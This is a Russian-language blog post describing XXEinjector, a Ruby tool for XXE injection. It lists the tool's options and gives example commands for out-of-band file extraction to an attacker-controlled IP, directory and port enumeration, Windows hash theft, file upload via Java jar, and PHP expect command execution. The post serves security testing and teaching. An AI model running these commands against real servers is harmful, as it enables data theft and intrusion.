XXEinjector

XXEinjector — это инструмент для инъекций XXE на основе Ruby, который автоматизирует извлечение файлов с использованием прямых и внеполосных методов.

Список каталогов работает только в Java-приложениях, и метод перебора должен использоваться для других приложений.

Использование инструмента для инъекции XXEinjector XXE

XXEinjector фактически имеет много вариантов, поэтому ознакомьтесь с тем, как вы можете наилучшим образом использовать этот тип атаки.

Очевидно, что Ruby является предварительным условием для запуска инструмента.

 --host Mandatory - our IP address for reverse connections. (--host=192.168.0.2)
--file Mandatory - file containing valid HTTP request with xml. You can also mark with "XXEINJECT" a point where DTD should be injected. (--file=/tmp/req.txt)
--path Mandatory if enumerating directories - Path to enumerate. (--path=/etc)
--brute Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt)
--logger Log results only. Do not send requests. HTTP logger looks for "p" parameter with results.

--rhost Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3)
--rport Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080)

--oob Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher)
--direct Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --xml to see how XML in request file should look like. (--direct=UNIQUEMARK)
--cdata Improve direct exploitation with CDATA. Data is retrieved directly, however OOB is used to construct CDATA payload. Specify --cdata-xml to see how request should look like in this technique.
--2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)
--phpfilter Use PHP filter to base64 encode target file before sending.
--netdoc Use netdoc protocol instead of file (Java).
--enumports Enumerating unfiltered ports for reverse connection. Specify value "all" to enumerate all TCP ports. (--enumports=21,22,80,443,445)

--hashes Steals Windows hash of the user that runs an application.
--expect Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls)
--upload Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt)
--xslt Tests for XSLT injection.

--ssl Use SSL.
--proxy Proxy to use. (--proxy=127.0.0.1:8080)
--httpport Set custom HTTP port. (--httpport=80)
--ftpport Set custom FTP port. (--ftpport=21)
--gopherport Set custom gopher port. (--gopherport=70)
--jarport Set custom port for uploading files using jar. (--jarport=1337)
--xsltport Set custom port for XSLT injection test. (--xsltport=1337)

--test This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server.
--urlencode URL encode injected DTD. This is default for URI.
--nodtd If you want to put DTD in request by yourself. Specify "--dtd" to show how DTD should look like.
--output Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt)
--timeout Timeout for receiving file/directory content. (--timeout=20)
--contimeout Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20)
--fast Skip asking what to enumerate. Prone to false-positives.
--verbose Show verbose messages. 

Если вы не знакомы с атаками XXE, вы должны начать сначала отсюда:

XXE инъекции / виды атак

Примеры использования XXinjector

Перечисление каталога / etc в приложении HTTPS:

 # ruby XXEinjector.rb --host = 192.168.0.2 --path = / etc --file = / tmp / req.txt --ssl

Перечисление каталога / etc с использованием gopher для метода OOB:

 #  ruby XXEinjector.rb --host = 192.168.0.2 --path = / etc --file = / tmp / req.txt --oob = gopher

Эксплуатация второго порядка:

 # ruby XXEinjector.rb --host = 192.168.0.2 --path = / etc --file = / tmp / vulnreq.txt --2ndfile = / tmp / 2ndreq.txt

Брутфорс файлов с использованием HTTP внеполосного метода и протокола netdoc:

 # ruby XXEinjector.rb --host = 192.168.0.2 --brute = / tmp / filenames.txt --file = / tmp / req.txt --oob = http --netdoc

Перечисление с использованием прямой эксплуатации:

 # ruby XXEinjector.rb --file = / tmp / req.txt --path = / etc --direct = UNIQUEMARK

Перечисление нефильтрованных портов:

 # ruby XXEinjector.rb --host = 192.168.0.2 --file = / tmp / req.txt --enumports = all

Кража хэшей Windows:

 # ruby XXEinjector.rb --host = 192.168.0.2 --file = / tmp / req.txt --hash 

Загрузка файлов с использованием Java jar:

 # ruby XXEinjector.rb --host = 192.168.0.2 --file = / tmp / req.txt --upload = / tmp / uploadfile.pdf

Выполнение системных команд с использованием PHP:

 # ruby XXEinjector.rb --host = 192.168.0.2 --file = / tmp / req.txt --oob = http -phpfilter --expect = ls

Тестирование на внедрение XSLT:

 # ruby XXEinjector.rb --host = 192.168.0.2 --file = / tmp / req.txt --xslt

Только запросы журнала:

 # ruby XXEinjector.rb --logger --oob = http --output = / tmp / out.txt 

¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

cryptoparty

Cryptography is typically bypassed, not penetrated.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *